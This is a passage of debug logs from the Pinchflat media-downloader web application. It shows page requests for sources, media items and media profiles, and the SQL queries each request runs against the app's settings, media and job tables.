(((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 17:53:42.169 [debug] QUERY OK source="settings" db=0.5ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.170 [info] GET /sources/3/media/404257 17:53:42.170 [info] Sent 200 in 10ms 17:53:42.170 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "404257", "source_id" => "3"} Pipelines: [:browser] 17:53:42.170 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.170 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 17:53:42.171 [info] Sent 200 in 9ms 17:53:42.172 [debug] QUERY OK source="sources" db=1.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.172 [debug] QUERY OK source="tasks" db=1.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [404257] 17:53:42.172 [info] Sent 200 in 23ms 17:53:42.173 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [14266, 14480] 17:53:42.173 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.173 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.174 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.174 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.176 [info] Sent 200 in 6ms 17:53:42.200 [debug] QUERY OK source="tasks" db=39.4ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 17:53:42.201 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=26.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17069] 17:53:42.201 [debug] QUERY OK source="settings" db=0.1ms idle=27.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.201 [debug] QUERY OK source="settings" db=0.1ms idle=27.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.202 [debug] QUERY OK source="settings" db=0.1ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.206 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.207 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:53:42.208 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.209 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.209 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:53:42.210 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.211 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.212 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 17:53:42.214 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:42.215 [info] Sent 200 in 57ms 17:53:42.258 [info] GET /sources/3 17:53:42.258 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 17:53:42.258 [debug] QUERY OK source="sources" db=0.2ms idle=48.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.259 [debug] QUERY OK source="media_profiles" db=0.2ms idle=48.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.265 [info] GET /sources/2/media/472253 17:53:42.265 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 17:53:42.266 [debug] QUERY OK source="media_items" db=1.3ms idle=52.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 17:53:42.267 [info] GET /sources/2/media/366904 17:53:42.267 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 17:53:42.268 [info] GET /download_logs 17:53:42.268 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 17:53:42.269 [info] Sent 200 in 630µs 17:53:42.271 [debug] QUERY OK source="tasks" db=3.0ms idle=9.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 17:53:42.273 [debug] QUERY OK source="media_items" db=4.9ms idle=53.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 17:53:42.274 [info] GET /media_profiles/new 17:53:42.274 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 17:53:42.275 [debug] QUERY OK source="sources" db=7.3ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.276 [debug] QUERY OK source="tasks" db=16.8ms idle=47.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 17:53:42.276 [debug] QUERY OK source="tasks" db=2.3ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [366904] 17:53:42.276 [debug] QUERY OK source="settings" db=2.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.277 [debug] QUERY OK source="sources" db=2.7ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.277 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17068] 17:53:42.277 [debug] QUERY OK source="oban_jobs" db=1.7ms idle=0.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 17:53:42.277 [debug] QUERY OK source="settings" db=0.4ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.277 [info] GET /media_profiles/1 17:53:42.278 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.278 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [13037, 13319] 17:53:42.278 [debug] QUERY OK source="settings" db=1.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.279 [debug] QUERY OK source="settings" db=1.3ms queue=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.279 [debug] QUERY OK source="settings" db=1.8ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.279 [debug] QUERY OK source="settings" db=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.279 [debug] QUERY OK source="settings" db=0.9ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.280 [debug] QUERY OK source="settings" db=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.280 [debug] QUERY OK source="media_profiles" db=0.9ms queue=1.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.280 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.280 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.280 [debug] QUERY OK source="settings" db=0.4ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.281 [debug] QUERY OK source="settings" db=0.5ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.281 [debug] QUERY OK source="settings" db=0.5ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 